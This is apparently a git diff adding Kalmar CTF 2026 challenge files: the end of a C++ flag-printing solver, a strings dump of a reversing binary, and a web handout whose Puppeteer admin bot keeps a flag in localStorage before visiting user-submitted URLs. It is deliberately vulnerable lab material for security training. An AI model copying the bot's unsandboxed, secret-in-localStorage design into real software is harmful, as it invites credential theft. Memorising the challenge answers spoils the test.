||||
}
|
||||
|
||||
std::cout << "\n==========================================" << std::endl;
|
||||
std::cout << "FINAL FLAG: kalmar{";
|
||||
for (size_t i = 0; i < results.size(); ++i) {
|
||||
std::cout << results[i] << (i == results.size() - 1 ? "" : "_");
|
||||
}
|
||||
std::cout << "}" << std::endl;
|
||||
std::cout << "==========================================" << std::endl;
|
||||
|
||||
return 0;
|
||||
}
|
||||
17285
2026/kalmar/rev/oracle/strings_output
Normal file
17285
2026/kalmar/rev/oracle/strings_output
Normal file
File diff suppressed because it is too large
Load Diff
427
2026/kalmar/rev/oracle/strings_output_le
Normal file
427
2026/kalmar/rev/oracle/strings_output_le
Normal file
@@ -0,0 +1,427 @@
|
||||
jjjj
|
||||
jjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
vjjjj
|
||||
vjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjj
|
||||
jjjjj
|
||||
jjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjh
|
||||
jjjjh
|
||||
jjjjjjjjjjjjjj
|
||||
\jjjjjjj
|
||||
jjjjj
|
||||
jjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjj
|
||||
jjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjjjjj
|
||||
jjjjjjjjjjjjj
|
||||
jjjj
|
||||
jjjjj
|
||||
jjjjj
|
||||
jjjjjjjjjjjjjj
|
||||
jjjj
|
||||
jjjj
|
||||
jjjj
|
||||
jjjjj
|
||||
jjjj
|
||||
jjjj
|
||||
jjjj
|
||||
jjjjj
|
||||
jjjj
|
||||
jjjj
|
||||
jjjjj
|
||||
jjjjj
|
||||
(08@P`p
|
||||
0@`
|
||||
0@`
|
||||
Window
|
||||
HintWindow
|
||||
MDICLIENT
|
||||
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a\bcde\\\\fghijk\lm\\\\\nop\qr\stu\vwwww\xwyz{|\}~
|
||||
ww\\
|
||||
\\\\
|
||||
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
|
||||
\\\\
|
||||
\\\\
|
||||
wwww
|
||||
\\\\
|
||||
\\\\\\\\\\\
|
||||
\\\\\\\\\\\\\
|
||||
\\\\\\\\\\\\\\\\\\\\\\
|
||||
\\\\
|
||||
\\\\\\
|
||||
\\\\\
|
||||
w\\\\
|
||||
\\\\\\\
|
||||
!"#$%&'()*+,-
|
||||
./.0123456789:;<=>?@ABCDEFGHI
|
||||
.JKL
|
||||
MJ.J
|
||||
NO.P
|
||||
.QKRSTU
|
||||
VWXYZ[\]^_`abcdefghijkl
|
||||
mnopqrstuvwxyz{|}~
|
||||
KKKK
|
||||
tttttt
|
||||
ttttttt
|
||||
ttttt
|
||||
tKtttttttt
|
||||
ttttttttttttttttt
|
||||
....
|
||||
..............
|
||||
.......
|
||||
.................
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
MMMMMM
|
||||
KKKKKKKKK
|
||||
KKKKKKKKKK
|
||||
KKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKKKKKK
|
||||
KKKJJK
|
||||
KKKKKKKKKKKKKK
|
||||
KKKKKKKKK
|
||||
KKKKKKKKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKKKKKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKK
|
||||
KKKK
|
||||
KKKKKK
|
||||
KKKKKKKKK
|
||||
KKKKKKKKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKK
|
||||
KKKKK
|
||||
KJKSTU
|
||||
KKKKKK
|
||||
KKKKKKKKKKKK
|
||||
JJJJJJ
|
||||
KKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKKK
|
||||
QNOQNOJK
|
||||
KKKKKKKK
|
||||
KKKKKK
|
||||
KKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKKKKKKKK
|
||||
JKKKKKK
|
||||
KKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKKKK
|
||||
KKKKKKK
|
||||
KKKKKKKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKK
|
||||
KKKKKKK
|
||||
KKKK
|
||||
KKKKK
|
||||
KKKKKJJJ
|
||||
JJJJJJ
|
||||
KKKK
|
||||
KKKK
|
||||
KKKK
|
||||
KKKK
|
||||
KKKK
|
||||
KKKKKKKKKKKK
|
||||
KKKKK
|
||||
JJJJJJJJ
|
||||
JJJJJJ
|
||||
JJJJ
|
||||
KKKKKK
|
||||
KKKK
|
||||
KKKKKK
|
||||
KKKK
|
||||
KKKKKKKKKKKKK
|
||||
KKKKKKKKKKK
|
||||
KKKKKKKKK
|
||||
KKKK
|
||||
KKKKKKK
|
||||
KKKK
|
||||
KKKK
|
||||
KKKKKKK
|
||||
KKKK
|
||||
KKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKK
|
||||
JJJJJJJJJJ
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKKKKKKKK
|
||||
KKKK
|
||||
KKKK
|
||||
KKKKKKKKKKKKKKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKKKKK
|
||||
KKKKKKKKKK
|
||||
JJJJJJJJJJJJJJJJJJKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKKKKKKKKKK
|
||||
KKKKKKK
|
||||
JJJJJJJJJJ
|
||||
JJJJJJJJJ
|
||||
KKKKKKKKKKKKKK
|
||||
KKKKKKKK
|
||||
KKKK
|
||||
KKKKKKKKKKK
|
||||
KKKK
|
||||
KKKK
|
||||
tttttttttttt
|
||||
ttttttttttttt
|
||||
ttttttttttttt
|
||||
MMMMM
|
||||
MMMMM
|
||||
MMMMM
|
||||
MMMMMMMMMM
|
||||
JJJJ
|
||||
JJJJJJ
|
||||
tKKKKtJJtt
|
||||
ttttJ
|
||||
JJJJJ
|
||||
JJJJ
|
||||
JJJJJJJ
|
||||
JJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJ
|
||||
JJJJJJJJ
|
||||
JJJJ
|
||||
JJJJJJJ
|
||||
JJJJJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
|
||||
JJJJJJJ
|
||||
JJJJJJJJJJJ
|
||||
JJJJJJJJJJ
|
||||
JJJJJJJ
|
||||
JJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJ
|
||||
JJJJJJJJ
|
||||
JJJJJJJJJJJJ
|
||||
JJJJJJJ
|
||||
JJJJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJJJJJJJ
|
||||
JJJJJJJJJJJJ
|
||||
JJJJJJJJ
|
||||
JJJJ
|
||||
ttttt
|
||||
tJJJJJJ
|
||||
KKKKKKKK
|
||||
KKKKKKK
|
||||
KKKKKKK
|
||||
KKKKKKK
|
||||
LRLR
|
||||
JJJJJJJJJJ
|
||||
JJJJJJJJJ
|
||||
JJJJJJ
|
||||
JJJJJJJJJJJJ
|
||||
KKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
K KKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
KKKKKKKKKKKJJQNO
|
||||
JJJJJJJJJJQNO
|
||||
JJJJJJJJJJJJJJ
|
||||
KKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKK
|
||||
KKKKKK
|
||||
.......
|
||||
tttttttt
|
||||
tKKKKKKK
|
||||
KKKK
|
||||
KKKKKKK
|
||||
JJJJ
|
||||
KKKK
|
||||
KKKKKKKKKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
KKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKK
|
||||
KKKKK
|
||||
KKKKKKKKK
|
||||
KKKKKKKK
|
||||
KKKKKKJJJK
|
||||
KKKKK
|
||||
KKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
ttttttt.
|
||||
tttttt
|
||||
ttttttt
|
||||
ttttt
|
||||
KKKKKKKKK
|
||||
KKK................
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
//
|
||||
KKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKKKKKK
|
||||
KKKKKKKKKKKKKKKKKKKKKKKKKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
KKKKKK
|
||||
MMMJJ
|
||||
\,\@\T\d\x\
|
||||
X Y$Y
|
||||
0123456789ABCDEF
|
||||
MICROSOFTEDGE
|
||||
[button
|
||||
clock
|
||||
combobox
|
||||
edit
|
||||
explorerbar
|
||||
header
|
||||
listview
|
||||
menu
|
||||
page
|
||||
progress
|
||||
rebar
|
||||
scrollbar
|
||||
spin
|
||||
startpanel
|
||||
status
|
||||
taskband
|
||||
taskbar
|
||||
toolbar
|
||||
tooltip
|
||||
trackbar
|
||||
traynotify
|
||||
treeview
|
||||
window
|
||||
button
|
||||
clock
|
||||
combobox
|
||||
edit
|
||||
explorerbar
|
||||
header
|
||||
explorer::listview
|
||||
menu
|
||||
page
|
||||
progress
|
||||
rebar
|
||||
scrollbar
|
||||
spin
|
||||
startpanel
|
||||
status
|
||||
taskband
|
||||
taskbar
|
||||
toolbar
|
||||
tooltip
|
||||
trackbar
|
||||
traynotify
|
||||
explorer::treeview
|
||||
window
|
||||
LAZ_PIC_DIALOG_TEMPLATE
|
||||
msctls_updown32
|
||||
LAZ_PIC_DIALOG_TEMPLATE BTN_ABORT
|
||||
BTN_ABORT_150
|
||||
BTN_ABORT_200
|
||||
BTN_ALL
|
||||
BTN_ALL_150
|
||||
BTN_ALL_200
|
||||
BTN_ARROWRIGHT
|
||||
BTN_ARROWRIGHT_150
|
||||
BTN_ARROWRIGHT_200
|
||||
BTN_CANCEL
|
||||
BTN_CANCEL_150
|
||||
BTN_CANCEL_200 BTN_CLOSE
|
||||
BTN_CLOSE_150
|
||||
BTN_CLOSE_200
|
||||
BTN_HELP
|
||||
BTN_HELP_150
|
||||
BTN_HELP_200
|
||||
BTN_IGNORE
|
||||
BTN_IGNORE_150
|
||||
BTN_IGNORE_200
|
||||
BTN_NO
|
||||
BTN_NO_150
|
||||
BTN_NO_200
|
||||
BTN_OK
|
||||
BTN_OK_150
|
||||
BTN_OK_200 BTN_RETRY
|
||||
BTN_RETRY_150
|
||||
BTN_RETRY_200
|
||||
BTN_YES
|
||||
BTN_YES_150
|
||||
BTN_YES_200
|
||||
DIALOG_CONFIRMATION
|
||||
DIALOG_CONFIRMATION_150
|
||||
DIALOG_CONFIRMATION_200
|
||||
DIALOG_ERROR
|
||||
DIALOG_ERROR_150
|
||||
DIALOG_ERROR_200
|
||||
DIALOG_INFORMATION
|
||||
DIALOG_INFORMATION_150
|
||||
DIALOG_INFORMATION_200
|
||||
DIALOG_SHIELD
|
||||
DIALOG_SHIELD_150
|
||||
DIALOG_SHIELD_200
|
||||
DIALOG_WARNING
|
||||
DIALOG_WARNING_150
|
||||
DIALOG_WARNING_200
|
||||
SORTASC
|
||||
SORTASC_150
|
||||
SORTASC_200
|
||||
SORTASC_50
|
||||
SORTASC_75
|
||||
SORTDESC
|
||||
SORTDESC_150
|
||||
SORTDESC_200
|
||||
SORTDESC_50
|
||||
SORTDESC_75
|
||||
TFORM1
|
||||
TFORM2
|
||||
TWINDOW
|
||||
CUR_1
|
||||
CUR_10
|
||||
CUR_12
|
||||
CUR_13
|
||||
CUR_14
|
||||
CUR_15
|
||||
CUR_16
|
||||
CUR_17
|
||||
CUR_18
|
||||
CUR_20
|
||||
CUR_21
|
||||
CUR_22
|
||||
MAINICON
|
||||
11
2026/kalmar/web/handout/README.md
Normal file
11
2026/kalmar/web/handout/README.md
Normal file
@@ -0,0 +1,11 @@
|
||||
# Exposed
|
||||
Only the bot container and the aperisolve web container will be exposed
|
||||
# Run
|
||||
```sh
|
||||
./build.sh
|
||||
```
|
||||
# Submit
|
||||
You can submit urls to the bot with:
|
||||
```sh
|
||||
curl http://127.0.0.1:8091/report --json '{"url":"http://web:5000/?..."}'
|
||||
````
|
||||
17
2026/kalmar/web/handout/bot/Dockerfile
Normal file
17
2026/kalmar/web/handout/bot/Dockerfile
Normal file
@@ -0,0 +1,17 @@
|
||||
FROM fedora:latest
|
||||
|
||||
RUN dnf update -y && dnf install -y chromium nodejs
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY package*.json ./
|
||||
RUN npm install
|
||||
|
||||
COPY bot.js .
|
||||
|
||||
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
|
||||
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
|
||||
|
||||
RUN useradd -m user
|
||||
USER user
|
||||
CMD ["node", "bot.js"]
|
||||
73
2026/kalmar/web/handout/bot/bot.js
Normal file
73
2026/kalmar/web/handout/bot/bot.js
Normal file
@@ -0,0 +1,73 @@
|
||||
const express = require('express');
|
||||
const puppeteer = require('puppeteer');
|
||||
const app = express();
|
||||
|
||||
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
|
||||
const CHALLENGE_DOMAIN = process.env.CHALLENGE_DOMAIN || 'http://web:5000/';
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise(res => setTimeout(res, ms));
|
||||
}
|
||||
|
||||
async function visitUrl(url) {
|
||||
const browser = await puppeteer.launch({
|
||||
headless: true,
|
||||
args: [
|
||||
// this is not a pwn challenge, please don't rce us
|
||||
'--disable-extensions',
|
||||
'--disable-gpu',
|
||||
'--disable-software-rasterizer',
|
||||
'--js-flags=--noexpose_wasm,--jitless',
|
||||
'--no-sandbox',
|
||||
]
|
||||
});
|
||||
|
||||
try {
|
||||
const page = await browser.newPage();
|
||||
|
||||
await page.goto(CHALLENGE_DOMAIN, {
|
||||
waitUntil: 'networkidle0',
|
||||
});
|
||||
|
||||
// Flag is stored in localStorage
|
||||
await page.evaluate((flag) => {
|
||||
localStorage.setItem("flag", flag);
|
||||
}, FLAG);
|
||||
|
||||
await sleep(1000);
|
||||
await page.close()
|
||||
|
||||
// now visit reported page
|
||||
const page2 = await browser.newPage();
|
||||
await page2.goto(url, {waitUntil: []});
|
||||
|
||||
await sleep(5000);
|
||||
} catch (err) {
|
||||
console.error('Error visiting page:', err);
|
||||
} finally {
|
||||
await browser.close();
|
||||
}
|
||||
}
|
||||
|
||||
app.post('/report', async (req, res) => {
|
||||
const { url } = req.body;
|
||||
|
||||
if (!url || typeof url !== 'string' || !url.startsWith(CHALLENGE_DOMAIN + '?')) {
|
||||
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${CHALLENGE_DOMAIN + '?'}` });
|
||||
}
|
||||
|
||||
try {
|
||||
await visitUrl(url);
|
||||
res.json({ success: true });
|
||||
} catch (err) {
|
||||
console.error('Error on /report', err);
|
||||
res.status(500).json({ error: 'Failed to visit URL' });
|
||||
}
|
||||
});
|
||||
|
||||
const PORT = process.env.PORT || 8080;
|
||||
app.listen(PORT, () => {
|
||||
console.log(`Bot listening on port ${PORT}`);
|
||||
});
|
||||
6
2026/kalmar/web/handout/bot/package.json
Normal file
6
2026/kalmar/web/handout/bot/package.json
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"dependencies": {
|
||||
"express": "^5.2.1",
|
||||
"puppeteer": "^24.40.0"
|
||||
}
|
||||
}
|
||||
21
2026/kalmar/web/handout/build.sh
Executable file
21
2026/kalmar/web/handout/build.sh
Executable file
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env sh
|
||||
git clone https://github.com/Zeecka/AperiSolve.git
|
||||
cd AperiSolve
|
||||
|
||||
# Pinning repo version to 3.0.7
|
||||
git checkout d86416c97d508c14fdda12297fb510d6e7080b13
|
||||
|
||||
# Pinning container version
|
||||
# Version 3.0.7: https://github.com/zeecka/AperiSolve/pkgs/container/aperisolve/versions
|
||||
sed --in-place -e "s/image: ghcr.io\/zeecka\/aperisolve:latest/image: ghcr.io\/zeecka\/aperisolve@sha256:c7f1f827e04d6d98b99f86845fcca31c2516cf13869270542c10b2ff4a6d9cd1/g" compose.yml
|
||||
|
||||
|
||||
# Just for your convencience:
|
||||
sed --in-place -e "s/restart: always/restart: unless-stopped/g" compose.yml
|
||||
|
||||
cp .env.example .env
|
||||
cd ..
|
||||
|
||||
docker compose up --build; docker compose down
|
||||
# If your user is not in the docker group, then run:
|
||||
# sudo docker compose up --build; sudo docker compose down
|
||||
19
2026/kalmar/web/handout/compose.yml
Normal file
19
2026/kalmar/web/handout/compose.yml
Normal file
@@ -0,0 +1,19 @@
|
||||
services:
|
||||
nginx:
|
||||
build: ./nginx
|
||||
ports:
|
||||
- "8091:80"
|
||||
depends_on:
|
||||
- web
|
||||
- bot
|
||||
|
||||
bot:
|
||||
build: ./bot
|
||||
# ports:
|
||||
# - 3123:3123
|
||||
environment:
|
||||
- FLAG=kalmar{test_flag}
|
||||
- PORT=3123
|
||||
|
||||
include:
|
||||
- AperiSolve/compose.yml
|
||||
4
2026/kalmar/web/handout/nginx/Dockerfile
Normal file
4
2026/kalmar/web/handout/nginx/Dockerfile
Normal file
@@ -0,0 +1,4 @@
|
||||
FROM nginx:alpine
|
||||
|
||||
# Just adding nginx so we can expose everything over one port. It's not part of the challenge
|
||||
COPY nginx.conf /etc/nginx/nginx.conf
|
||||
17
2026/kalmar/web/handout/nginx/nginx.conf
Normal file
17
2026/kalmar/web/handout/nginx/nginx.conf
Normal file
@@ -0,0 +1,17 @@
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
server {
|
||||
listen 80;
|
||||
|
||||
location /report {
|
||||
proxy_pass http://bot:3123;
|
||||
}
|
||||
|
||||
location / {
|
||||
proxy_pass http://web:5000;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user